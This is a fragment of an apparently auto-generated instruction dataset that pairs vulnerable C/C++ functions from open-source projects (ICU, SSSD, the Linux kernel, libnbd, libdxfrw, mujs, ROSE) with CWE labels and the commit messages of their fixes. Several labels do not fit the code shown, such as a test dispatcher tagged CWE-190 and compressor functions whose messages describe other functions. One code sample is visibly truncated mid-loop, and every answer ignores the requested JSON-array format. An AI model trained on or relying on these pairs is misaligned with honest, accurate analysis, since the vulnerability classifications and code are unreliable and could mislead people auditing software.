+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CalendarRegressionTest::runIndexedTest( int32_t index, UBool exec, const char* &name, char* /*par*/ )\n{\n    // if (exec) logln((UnicodeString)\"TestSuite NumberFormatRegressionTest\");\n    switch (index) {\n        CASE(0,test4100311);\n        CASE(1,test4074758);\n        CASE(2,test4028518);\n        CASE(3,test4031502);\n        CASE(4,test4035301);\n        CASE(5,test4040996);\n        CASE(6,test4051765);\n        CASE(7,test4061476);\n        CASE(8,test4070502);\n        CASE(9,test4071197);\n        CASE(10,test4071385);\n        CASE(11,test4073929);\n        CASE(12,test4083167);\n        CASE(13,test4086724);\n        CASE(14,test4095407);\n        CASE(15,test4096231);\n        CASE(16,test4096539);\n        CASE(17,test41003112);\n        CASE(18,test4103271);\n        CASE(19,test4106136);\n        CASE(20,test4108764);\n        CASE(21,test4114578);\n        CASE(22,test4118384);\n        CASE(23,test4125881);\n        CASE(24,test4125892);\n        CASE(25,test4141665);\n        CASE(26,test4142933);\n        CASE(27,test4145158);\n        CASE(28,test4145983);\n        CASE(29,test4147269);\n\n        CASE(30,Test4149677);\n        CASE(31,Test4162587);\n        CASE(32,Test4165343);\n        CASE(33,Test4166109);\n        CASE(34,Test4167060);\n        CASE(35,Test4197699);\n        CASE(36,TestJ81);\n        CASE(37,TestJ438);\n        CASE(38,TestLeapFieldDifference);\n        CASE(39,TestMalaysianInstance);\n        CASE(40,test4059654);\n        CASE(41,test4092362);\n        CASE(42,TestWeekShift);\n        CASE(43,TestTimeZoneTransitionAdd);\n        CASE(44,TestDeprecates);\n        CASE(45,TestT5555);\n        CASE(46,TestT6745);\n        CASE(47,TestT8057);\n        CASE(48,TestT8596);\n        CASE(49,Test9019);\n        CASE(50,TestT9452);\n        CASE(51,TestT11632);\n    default: name = \"\"; break;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'ICU-12504 in ICU4C Persian cal, use int64_t math for one operation to avoid overflow; add tests in C and J\n\nX-SVN-Rev: 40654'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int sudo_process_init(TALLOC_CTX *mem_ctx,\n                      struct tevent_context *ev,\n                      struct confdb_ctx *cdb)\n{\n    struct resp_ctx *rctx;\n    struct sss_cmd_table *sudo_cmds;\n    struct sudo_ctx *sudo_ctx;\n    struct be_conn *iter;\n    int ret;\n    int max_retries;\n\n    sudo_cmds = get_sudo_cmds();\n    ret = sss_process_init(mem_ctx, ev, cdb,\n                           sudo_cmds,\n                           SSS_SUDO_SOCKET_NAME, -1, NULL, -1,\n                           CONFDB_SUDO_CONF_ENTRY,\n                           SSS_SUDO_SBUS_SERVICE_NAME,\n                           SSS_SUDO_SBUS_SERVICE_VERSION,\n                           &monitor_sudo_methods,\n                           \"SUDO\",\n                           NULL,\n                           sss_connection_setup,\n                           &rctx);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE, \"sss_process_init() failed\\n\");\n        return ret;\n    }\n\n    sudo_ctx = talloc_zero(rctx, struct sudo_ctx);\n    if (!sudo_ctx) {\n        DEBUG(SSSDBG_FATAL_FAILURE, \"fatal error initializing sudo_ctx\\n\");\n        ret = ENOMEM;\n        goto fail;\n    }\n\n    sudo_ctx->rctx = rctx;\n    sudo_ctx->rctx->pvt_ctx = sudo_ctx;\n\n    sss_ncache_prepopulate(sudo_ctx->rctx->ncache, sudo_ctx->rctx->cdb, rctx);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE,\n              \"failed to set ncache for sudo's filter_users\\n\");\n        goto fail;\n    }\n\n    /* Enable automatic reconnection to the Data Provider */\n    ret = confdb_get_int(sudo_ctx->rctx->cdb,\n                         CONFDB_SUDO_CONF_ENTRY,\n                         CONFDB_SERVICE_RECON_RETRIES,\n                         3, &max_retries);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE,\n              \"Failed to set up automatic reconnection\\n\");\n        goto fail;\n    }\n\n    for (iter = sudo_ctx->rctx->be_conns; iter; iter = iter->next) {\n        sbus_reconnect_init(iter->conn, max_retries,\n                            sudo_dp_reconnect_init, iter);\n    }\n\n    /* Get sudo_timed option */\n    ret = confdb_get_bool(sudo_ctx->rctx->cdb,\n                          CONFDB_SUDO_CONF_ENTRY, CONFDB_SUDO_TIMED,\n                          CONFDB_DEFAULT_SUDO_TIMED,\n                          &sudo_ctx->timed);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE, \"Error reading from confdb (%d) [%s]\\n\",\n              ret, strerror(ret));\n        goto fail;\n    }\n\n    /* Get sudo_inverse_order option */\n    ret = confdb_get_bool(sudo_ctx->rctx->cdb,\n                          CONFDB_SUDO_CONF_ENTRY, CONFDB_SUDO_INVERSE_ORDER,\n                          CONFDB_DEFAULT_SUDO_INVERSE_ORDER,\n                          &sudo_ctx->inverse_order);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE, \"Error reading from confdb (%d) [%s]\\n\",\n              ret, strerror(ret));\n        goto fail;\n    }\n\n    /* Get sudo_inverse_order option */\n    ret = confdb_get_int(sudo_ctx->rctx->cdb,\n                         CONFDB_SUDO_CONF_ENTRY, CONFDB_SUDO_THRESHOLD,\n                         CONFDB_DEFAULT_SUDO_THRESHOLD,\n                         &sudo_ctx->threshold);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE, \"Error reading from confdb (%d) [%s]\\n\",\n              ret, strerror(ret));\n        goto fail;\n    }\n\n    ret = schedule_get_domains_task(rctx, rctx->ev, rctx, NULL);\n    if (ret != EOK) {\n        DEBUG(SSSDBG_FATAL_FAILURE, \"schedule_get_domains_tasks failed.\\n\");\n        goto fail;\n    }\n\n    DEBUG(SSSDBG_TRACE_FUNC, \"SUDO Initialization complete\\n\");\n\n    return EOK;\n\nfail:\n    talloc_free(rctx);\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'SUDO: Create the socket with stricter permissions\n\nThis patch switches the sudo responder from being created as a public\nresponder where the permissions are open and not checked by the sssd\ndeaamon to a private socket. In this case, sssd creates the pipes with\nstrict permissions (see the umask in the call to create_pipe_fd() in\nset_unix_socket()) and additionaly checks the permissions with every read\nvia the tevent integrations (see accept_fd_handler()).\n\nResolves:\nhttps://pagure.io/SSSD/sssd/issue/3766 (CVE-2018-10852)\n\nReviewed-by: Sumit Bose \nReviewed-by: Pavel B\u0159ezina '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SYSCALL_DEFINE5(mremap, unsigned long, addr, unsigned long, old_len,\n\t\tunsigned long, new_len, unsigned long, flags,\n\t\tunsigned long, new_addr)\n{\n\tstruct mm_struct *mm = current->mm;\n\tstruct vm_area_struct *vma;\n\tunsigned long ret = -EINVAL;\n\tunsigned long charged = 0;\n\tbool locked = false;\n\tbool downgraded = false;\n\tstruct vm_userfaultfd_ctx uf = NULL_VM_UFFD_CTX;\n\tLIST_HEAD(uf_unmap_early);\n\tLIST_HEAD(uf_unmap);\n\n\t/*\n\t * Architectures may interpret the tag passed to mmap as a background\n\t * colour for the corresponding vma. For mremap we don't allow tagged\n\t * new_addr to preserve similar behaviour to mmap.\n\t */\n\taddr = untagged_addr(addr);\n\n\tif (flags & ~(MREMAP_FIXED | MREMAP_MAYMOVE))\n\t\treturn ret;\n\n\tif (flags & MREMAP_FIXED && !(flags & MREMAP_MAYMOVE))\n\t\treturn ret;\n\n\tif (offset_in_page(addr))\n\t\treturn ret;\n\n\told_len = PAGE_ALIGN(old_len);\n\tnew_len = PAGE_ALIGN(new_len);\n\n\t/*\n\t * We allow a zero old-len as a special case\n\t * for DOS-emu \"duplicate shm area\" thing. But\n\t * a zero new-len is nonsensical.\n\t */\n\tif (!new_len)\n\t\treturn ret;\n\n\tif (down_write_killable(¤t->mm->mmap_sem))\n\t\treturn -EINTR;\n\n\tif (flags & MREMAP_FIXED) {\n\t\tret = mremap_to(addr, old_len, new_addr, new_len,\n\t\t\t\t&locked, &uf, &uf_unmap_early, &uf_unmap);\n\t\tgoto out;\n\t}\n\n\t/*\n\t * Always allow a shrinking remap: that just unmaps\n\t * the unnecessary pages..\n\t * __do_munmap does all the needed commit accounting, and\n\t * downgrades mmap_sem to read if so directed.\n\t */\n\tif (old_len >= new_len) {\n\t\tint retval;\n\n\t\tretval = __do_munmap(mm, addr+new_len, old_len - new_len,\n\t\t\t\t  &uf_unmap, true);\n\t\tif (retval < 0 && old_len != new_len) {\n\t\t\tret = retval;\n\t\t\tgoto out;\n\t\t/* Returning 1 indicates mmap_sem is downgraded to read. */\n\t\t} else if (retval == 1)\n\t\t\tdowngraded = true;\n\t\tret = addr;\n\t\tgoto out;\n\t}\n\n\t/*\n\t * Ok, we need to grow..\n\t */\n\tvma = vma_to_resize(addr, old_len, new_len, &charged);\n\tif (IS_ERR(vma)) {\n\t\tret = PTR_ERR(vma);\n\t\tgoto out;\n\t}\n\n\t/* old_len exactly to the end of the area..\n\t */\n\tif (old_len == vma->vm_end - addr) {\n\t\t/* can we just expand the current mapping? */\n\t\tif (vma_expandable(vma, new_len - old_len)) {\n\t\t\tint pages = (new_len - old_len) >> PAGE_SHIFT;\n\n\t\t\tif (vma_adjust(vma, vma->vm_start, addr + new_len,\n\t\t\t\t       vma->vm_pgoff, NULL)) {\n\t\t\t\tret = -ENOMEM;\n\t\t\t\tgoto out;\n\t\t\t}\n\n\t\t\tvm_stat_account(mm, vma->vm_flags, pages);\n\t\t\tif (vma->vm_flags & VM_LOCKED) {\n\t\t\t\tmm->locked_vm += pages;\n\t\t\t\tlocked = true;\n\t\t\t\tnew_addr = addr;\n\t\t\t}\n\t\t\tret = addr;\n\t\t\tgoto out;\n\t\t}\n\t}\n\n\t/*\n\t * We weren't able to just expand or shrink the area,\n\t * we need to create a new one and move it..\n\t */\n\tret = -ENOMEM;\n\tif (flags & MREMAP_MAYMOVE) {\n\t\tunsigned long map_flags = 0;\n\t\tif (vma->vm_flags & VM_MAYSHARE)\n\t\t\tmap_flags |= MAP_SHARED;\n\n\t\tnew_addr = get_unmapped_area(vma->vm_file, 0, new_len,\n\t\t\t\t\tvma->vm_pgoff +\n\t\t\t\t\t((addr - vma->vm_start) >> PAGE_SHIFT),\n\t\t\t\t\tmap_flags);\n\t\tif (offset_in_page(new_addr)) {\n\t\t\tret = new_addr;\n\t\t\tgoto out;\n\t\t}\n\n\t\tret = move_vma(vma, addr, old_len, new_len, new_addr,\n\t\t\t       &locked, &uf, &uf_unmap);\n\t}\nout:\n\tif (offset_in_page(ret)) {\n\t\tvm_unacct_memory(charged);\n\t\tlocked = 0;\n\t}\n\tif (downgraded)\n\t\tup_read(¤t->mm->mmap_sem);\n\telse\n\t\tup_write(¤t->mm->mmap_sem);\n\tif (locked && new_len > old_len)\n\t\tmm_populate(new_addr + old_len, new_len - old_len);\n\tuserfaultfd_unmap_complete(mm, &uf_unmap_early);\n\tmremap_userfaultfd_complete(&uf, addr, new_addr, old_len);\n\tuserfaultfd_unmap_complete(mm, &uf_unmap);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'mm: untag user pointers in mmap/munmap/mremap/brk\n\nThere isn't a good reason to differentiate between the user address space\nlayout modification syscalls and the other memory permission/attributes\nones (e.g.  mprotect, madvise) w.r.t.  the tagged address ABI.  Untag the\nuser addresses on entry to these functions.\n\nLink: http://lkml.kernel.org/r/20190821164730.47450-2-catalin.marinas@arm.com\nSigned-off-by: Catalin Marinas \nAcked-by: Will Deacon \nAcked-by: Andrey Konovalov \nCc: Vincenzo Frascino \nCc: Szabolcs Nagy \nCc: Kevin Brodsky \nCc: Dave P Martin \nCc: Dave Hansen \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: nbd_internal_command_common (struct nbd_handle *h,\n                             uint16_t flags, uint16_t type,\n                             uint64_t offset, uint64_t count, int count_err,\n                             void *data, struct command_cb *cb)\n{\n  struct command *cmd;\n\n  if (h->disconnect_request) {\n      set_error (EINVAL, \"cannot request more commands after NBD_CMD_DISC\");\n      goto err;\n  }\n  if (h->in_flight == INT_MAX) {\n      set_error (ENOMEM, \"too many commands already in flight\");\n      goto err;\n  }\n\n  if (count_err) {\n    if ((h->strict & LIBNBD_STRICT_ZERO_SIZE) && count == 0) {\n      set_error (EINVAL, \"count cannot be 0\");\n      goto err;\n    }\n\n    if ((h->strict & LIBNBD_STRICT_BOUNDS) &&\n        (offset > h->exportsize || count > h->exportsize - offset)) {\n      set_error (count_err, \"request out of bounds\");\n      goto err;\n    }\n\n    if (h->block_minimum && (h->strict & LIBNBD_STRICT_ALIGN) &&\n        (offset | count) & (h->block_minimum - 1)) {\n      set_error (EINVAL, \"request is unaligned\");\n      goto err;\n    }\n  }\n\n  switch (type) {\n    /* Commands which send or receive data are limited to MAX_REQUEST_SIZE. */\n  case NBD_CMD_READ:\n  case NBD_CMD_WRITE:\n    if (count > MAX_REQUEST_SIZE) {\n      set_error (ERANGE, \"request too large: maximum request size is %d\",\n                 MAX_REQUEST_SIZE);\n      goto err;\n    }\n    break;\n\n    /* Other commands are currently limited by the 32 bit field in the\n     * command structure on the wire, but in future we hope to support\n     * 64 bit values here with a change to the NBD protocol which is\n     * being discussed upstream.\n     */\n  default:\n    if (count > UINT32_MAX) {\n      set_error (ERANGE, \"request too large: maximum request size is %\" PRIu32,\n                 UINT32_MAX);\n      goto err;\n    }\n    break;\n  }\n\n  cmd = calloc (1, sizeof *cmd);\n  if (cmd == NULL) {\n    set_error (errno, \"calloc\");\n    goto err;\n  }\n  cmd->flags = flags;\n  cmd->type = type;\n  cmd->cookie = h->unique++;\n  cmd->offset = offset;\n  cmd->count = count;\n  cmd->data = data;\n  if (cb)\n    cmd->cb = *cb;\n\n  /* If structured replies were negotiated then we trust the server to\n   * send back sufficient data to cover the whole buffer.  It's tricky\n   * to check this, so an easier thing is simply to zero the buffer\n   * ahead of time which avoids any security problems.  I measured the\n   * overhead of this and for non-TLS there is no measurable overhead\n   * in the highly intensive loopback case.  For TLS we get a\n   * performance gain, go figure.  For an older server with only\n   * simple replies, it's still better to do the same memset() so we\n   * don't have behavior that is server-dependent.\n   */\n  if (cmd->data && type == NBD_CMD_READ)\n    memset (cmd->data, 0, cmd->count);\n\n  /* Add the command to the end of the queue. Kick the state machine\n   * if there is no other command being processed, otherwise, it will\n   * be handled automatically on a future cycle around to READY.\n   * Beyond this point, we have to return a cookie to the user, since\n   * we are queuing the command, even if kicking the state machine\n   * detects a failure.  Not reporting a state machine failure here is\n   * okay - any caller of an async command will be calling more API to\n   * await results, and will eventually learn that the machine has\n   * moved on to DEAD at that time.\n   */\n  h->in_flight++;\n  if (h->cmds_to_issue != NULL) {\n    assert (nbd_internal_is_state_processing (get_next_state (h)));\n    h->cmds_to_issue_tail = h->cmds_to_issue_tail->next = cmd;\n  }\n  else {\n    assert (h->cmds_to_issue_tail == NULL);\n    h->cmds_to_issue = h->cmds_to_issue_tail = cmd;\n    if (nbd_internal_is_state_ready (get_next_state (h)) &&\n        nbd_internal_run (h, cmd_issue) == -1)\n      debug (h, \"command queued, ignoring state machine failure\");\n  }\n\n  return cmd->cookie;\n\n err:\n  /* Since we did not queue the command, we must free the callbacks. */\n  if (cb) {\n    if (type == NBD_CMD_BLOCK_STATUS)\n      FREE_CALLBACK (cb->fn.extent);\n    if (type == NBD_CMD_READ)\n      FREE_CALLBACK (cb->fn.chunk);\n    FREE_CALLBACK (cb->completion);\n  }\n  return -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-252'], 'message': 'api: Guarantee sanitized buffer on pread failure\n\nAs mentioned in the previous patch, we left the state of the buffer\nundefined if we fail pread prior to attempting NBD_CMD_READ.  Better\nis to tweak the generator to sanitize the buffer unconditionally, as a\nway of hardening against potential bugs in client applications that\nfail to check for errors, but which should not be leaking\nuninitialized data.  In the process, we can document that the contents\nof buf are now merely unspecified, rather than undefined (valgrind\nwill no longer complain if you read buf, regardless of how nbd_pread\nfailed).\n\nSince always calling memset() can be a performance hit if the client\nalso sanitizes the buffer or is willing to take the audit risk, the\nnext patch will add a knob that allows the client to control when this\nhappens.\n\nThis patch causes changes to just the four APIs\nnbd_{aio_,}pread{,_structured}, with the generated lib/api.c changes\nlooking like:\n\n| --- lib/api.c.bak       2022-02-10 08:15:05.418371357 -0600\n| +++ lib/api.c   2022-02-10 08:15:13.224372023 -0600\n| @@ -2871,6 +2871,7 @@ nbd_pread (struct nbd_handle *h, void *b\n|      debug (h, \"enter: buf= count=%zu offset=%\" PRIu64 \" flags=0x%x\", count, offset, flags);\n|    }\n|\n| +  memset (buf, 0, count);\n|    if (unlikely (!pread_in_permitted_state (h))) {\n|      ret = -1;\n|      goto out;\n\nMessage-Id: <20220209220726.1902761-3-eblake@redhat.com>\nAcked-by: Laszlo Ersek \n[eblake: enhance commit message to show generated file diff]\nReviewed-by: Richard W.M. Jones \n\n(cherry picked from commit c7fbc71de54bf4e477011176197ad22950a02aa3)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: duint32 dwgCompressor::longCompressionOffset(){\n    duint32 cont = 0;\n    duint8 ll = bufC[pos++];\n    while (ll == 0x00){\n        cont += 0xFF;\n        ll = bufC[pos++];\n    }\n    cont += ll;\n    return cont;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-191'], 'message': 'fixed out-of-bounds write vulnerability CVE-2021-21898\n\nas reported in TALOS-2021-1349 / CVE-2021-21898,\ndwgCompressor::decompress18() could be abused with a malformed DWG file\nto force out-of-bounds write and possibly lead to malicious code\nexecution.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: duint32 dwgCompressor::compressedByte(void)\n{\n    duint32 result {0};\n\n    compressedGood = (compressedPos < compressedSize);\n    if (compressedGood) {\n        result = compressedBuffer[compressedPos];\n        ++compressedPos;\n    }\n\n    return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-191'], 'message': 'fixed heap buffer overflow vulnerability CVE-2021-21899\n\nas reported in TALOS-2021-1350 / CVE-2021-21899,\ndwgCompressor::decompress21() could be abused with a malformed DWG file\nto force heap buffer overflow and possibly lead to malicious code\nexecution.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void jsP_dumplist(js_State *J, js_Ast *prog)\n{\n\tminify = 0;\n\tif (prog->type == AST_LIST)\n\t\tsblock(0, prog);\n\telse\n\t\tsnode(0, prog);\n\tnl();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Issue #161: Cope with empty programs in mujs-pp.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: inline int qs_parse(char* qs, char* qs_kv[], int qs_kv_size, bool parse_url = true)\n{\n    int i, j;\n    char * substr_ptr;\n\n    for(i=0; i means x iterations of this loop -> means *x+1* k/v pairs\n\n    // we only decode the values in place, the keys could have '='s in them\n    // which will hose our ability to distinguish keys from values later\n    for(j=0; j \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'Fixed issue where an index in qs_parse is incorrectly incremented beyond the maximum possible value'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int rose_route_frame(struct sk_buff *skb, ax25_cb *ax25)\n{\n\tstruct rose_neigh *rose_neigh, *new_neigh;\n\tstruct rose_route *rose_route;\n\tstruct rose_facilities_struct facilities;\n\trose_address *src_addr, *dest_addr;\n\tstruct sock *sk;\n\tunsigned short frametype;\n\tunsigned int lci, new_lci;\n\tunsigned char cause, diagnostic;\n\tstruct net_device *dev;\n\tint len, res = 0;\n\tchar buf[11];\n\n#if 0\n\tif (call_in_firewall(PF_ROSE, skb->dev, skb->data, NULL, &skb) != FW_ACCEPT)\n\t\treturn res;\n#endif\n\n\tframetype = skb->data[2];\n\tlci = ((skb->data[0] << 8) & 0xF00) + ((skb->data[1] << 0) & 0x0FF);\n\tsrc_addr  = (rose_address *)(skb->data + 9);\n\tdest_addr = (rose_address *)(skb->data + 4);\n\n\tspin_lock_bh(&rose_neigh_list_lock);\n\tspin_lock_bh(&rose_route_list_lock);\n\n\trose_neigh = rose_neigh_list;\n\twhile (rose_neigh != NULL) {\n\t\tif (ax25cmp(&ax25->dest_addr, &rose_neigh->callsign) == 0 &&\n\t\t    ax25->ax25_dev->dev == rose_neigh->dev)\n\t\t\tbreak;\n\t\trose_neigh = rose_neigh->next;\n\t}\n\n\tif (rose_neigh == NULL) {\n\t\tprintk(\"rose_route : unknown neighbour or device %s\\n\",\n\t\t       ax2asc(buf, &ax25->dest_addr));\n\t\tgoto out;\n\t}\n\n\t/*\n\t *\tObviously the link is working, halt the ftimer.\n\t */\n\trose_stop_ftimer(rose_neigh);\n\n\t/*\n\t *\tLCI of zero is always for us, and its always a restart\n\t * \tframe.\n\t */\n\tif (lci == 0) {\n\t\trose_link_rx_restart(skb, rose_neigh, frametype);\n\t\tgoto out;\n\t}\n\n\t/*\n\t *\tFind an existing socket.\n\t */\n\tif ((sk = rose_find_socket(lci, rose_neigh)) != NULL) {\n\t\tif (frametype == ROSE_CALL_REQUEST) {\n\t\t\tstruct rose_sock *rose = rose_sk(sk);\n\n\t\t\t/* Remove an existing unused socket */\n\t\t\trose_clear_queues(sk);\n\t\t\trose->cause\t = ROSE_NETWORK_CONGESTION;\n\t\t\trose->diagnostic = 0;\n\t\t\trose->neighbour->use--;\n\t\t\trose->neighbour\t = NULL;\n\t\t\trose->lci\t = 0;\n\t\t\trose->state\t = ROSE_STATE_0;\n\t\t\tsk->sk_state\t = TCP_CLOSE;\n\t\t\tsk->sk_err\t = 0;\n\t\t\tsk->sk_shutdown\t |= SEND_SHUTDOWN;\n\t\t\tif (!sock_flag(sk, SOCK_DEAD)) {\n\t\t\t\tsk->sk_state_change(sk);\n\t\t\t\tsock_set_flag(sk, SOCK_DEAD);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tskb_reset_transport_header(skb);\n\t\t\tres = rose_process_rx_frame(sk, skb);\n\t\t\tgoto out;\n\t\t}\n\t}\n\n\t/*\n\t *\tIs is a Call Request and is it for us ?\n\t */\n\tif (frametype == ROSE_CALL_REQUEST)\n\t\tif ((dev = rose_dev_get(dest_addr)) != NULL) {\n\t\t\tres = rose_rx_call_request(skb, dev, rose_neigh, lci);\n\t\t\tdev_put(dev);\n\t\t\tgoto out;\n\t\t}\n\n\tif (!sysctl_rose_routing_control) {\n\t\trose_transmit_clear_request(rose_neigh, lci, ROSE_NOT_OBTAINABLE, 0);\n\t\tgoto out;\n\t}\n\n\t/*\n\t *\tRoute it to the next in line if we have an entry for it.\n\t */\n\trose_route = rose_route_list;\n\twhile (rose_route != NULL) {\n\t\tif (rose_route->lci1 == lci &&\n\t\t    rose_route->neigh1 == rose_neigh) {\n\t\t\tif (frametype == ROSE_CALL_REQUEST) {\n\t\t\t\t/* F6FBB - Remove an existing unused route */\n\t\t\t\trose_remove_route(rose_route);\n\t\t\t\tbreak;\n\t\t\t} else if (rose_route->neigh2 != NULL) {\n\t\t\t\tskb->data[0] &= 0xF0;\n\t\t\t\tskb->data[0] |= (rose_route->lci2 >> 8) & 0x0F;\n\t\t\t\tskb->data[1]  = (rose_route->lci2 >> 0) & 0xFF;\n\t\t\t\trose_transmit_link(skb, rose_route->neigh2);\n\t\t\t\tif (frametype == ROSE_CLEAR_CONFIRMATION)\n\t\t\t\t\trose_remove_route(rose_route);\n\t\t\t\tres = 1;\n\t\t\t\tgoto out;\n\t\t\t} else {\n\t\t\t\tif (frametype == ROSE_CLEAR_CONFIRMATION)\n\t\t\t\t\trose_remove_route(rose_route);\n\t\t\t\tgoto out;\n\t\t\t}\n\t\t}\n\t\tif (rose_route->lci2 == lci &&\n\t\t    rose_route->neigh2 == rose_neigh) {\n\t\t\tif (frametype == ROSE_CALL_REQUEST) {\n\t\t\t\t/* F6FBB - Remove an existing unused route */\n\t\t\t\trose_remove_route(rose_route);\n\t\t\t\tbreak;\n\t\t\t} else if (rose_route->neigh1 != NULL) {\n\t\t\t\tskb->data[0] &= 0xF0;\n\t\t\t\tskb->data[0] |= (rose_route->lci1 >> 8) & 0x0F;\n\t\t\t\tskb->data[1]  = (rose_route->lci1 >> 0) & 0xFF;\n\t\t\t\trose_transmit_link(skb, rose_route->neigh1);\n\t\t\t\tif (frametype == ROSE_CLEAR_CONFIRMATION)\n\t\t\t\t\trose_remove_route(rose_route);\n\t\t\t\tres = 1;\n\t\t\t\tgoto out;\n\t\t\t} else {\n\t\t\t\tif (frametype == ROSE_CLEAR_CONFIRMATION)\n\t\t\t\t\trose_remove_route(rose_route);\n\t\t\t\tgoto out;\n\t\t\t}\n\t\t}\n\t\trose_route = rose_route->next;\n\t}\n\n\t/*\n\t *\tWe know that:\n\t *\t1. The frame isn't for us,\n\t *\t2. It isn't \"owned\" by any existing route.\n\t */\n\tif (frametype != ROSE_CALL_REQUEST) {\t/* XXX */\n\t\tres = 0;\n\t\tgoto out;\n\t}\n\n\tlen  = (((skb->data[3] >> 4) & 0x0F) + 1) >> 1;\n\tlen += (((skb->data[3] >> 0) & 0x0F) + 1) >> 1;\n\n\tmemset(&facilities, 0x00, sizeof(struct rose_facilities_struct));\n\n\tif (!rose_parse_facilities(skb->data + len + 4, &facilities)) {\n\t\trose_transmit_clear_request(rose_neigh, lci, ROSE_INVALID_FACILITY, 76);\n\t\tgoto out;\n\t}\n\n\t/*\n\t *\tCheck for routing loops.\n\t */\n\trose_route = rose_route_list;\n\twhile (rose_route != NULL) {\n\t\tif (rose_route->rand == facilities.rand &&\n\t\t    rosecmp(src_addr, &rose_route->src_addr) == 0 &&\n\t\t    ax25cmp(&facilities.dest_call, &rose_route->src_call) == 0 &&\n\t\t    ax25cmp(&facilities.source_call, &rose_route->dest_call) == 0) {\n\t\t\trose_transmit_clear_request(rose_neigh, lci, ROSE_NOT_OBTAINABLE, 120);\n\t\t\tgoto out;\n\t\t}\n\t\trose_route = rose_route->next;\n\t}\n\n\tif ((new_neigh = rose_get_neigh(dest_addr, &cause, &diagnostic, 1)) == NULL) {\n\t\trose_transmit_clear_request(rose_neigh, lci, cause, diagnostic);\n\t\tgoto out;\n\t}\n\n\tif ((new_lci = rose_new_lci(new_neigh)) == 0) {\n\t\trose_transmit_clear_request(rose_neigh, lci, ROSE_NETWORK_CONGESTION, 71);\n\t\tgoto out;\n\t}\n\n\tif ((rose_route = kmalloc(sizeof(*rose_route), GFP_ATOMIC)) == NULL) {\n\t\trose_transmit_clear_request(rose_neigh, lci, ROSE_NETWORK_CONGESTION, 120);\n\t\tgoto out;\n\t}\n\n\trose_route->lci1      = lci;\n\trose_route->src_addr  = *src_addr;\n\trose_route->dest_addr = *dest_addr;\n\trose_route->src_call  = facilities.dest_call;\n\trose_route->dest_call = facilities.source_call;\n\trose_route->rand      = facilities.rand;\n\trose_route->neigh1    = rose_neigh;\n\trose_route->lci2      = new_lci;\n\trose_route->neigh2    = new_neigh;\n\n\trose_route->neigh1->use++;\n\trose_route->neigh2->use++;\n\n\trose_route->next = rose_route_list;\n\trose_route_list  = rose_route;\n\n\tskb->data[0] &= 0xF0;\n\tskb->data[0] |= (rose_route->lci2 >> 8) & 0x0F;\n\tskb->data[1]  = (rose_route->lci2 >> 0) & 0xFF;\n\n\trose_transmit_link(skb, rose_route->neigh2);\n\tres = 1;\n\nout:\n\tspin_unlock_bh(&rose_route_list_lock);\n\tspin_unlock_bh(&rose_neigh_list_lock);\n\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'rose: Add length checks to CALL_REQUEST parsing\n\nDefine some constant offsets for CALL_REQUEST based on the description\nat  and the\ndefinition of ROSE as using 10-digit (5-byte) addresses.  Use them\nconsistently.  Validate all implicit and explicit facilities lengths.\nValidate the address length byte rather than either trusting or\nassuming its value.\n\nSigned-off-by: Ben Hutchings \nSigned-off-by: David S. Miller '"
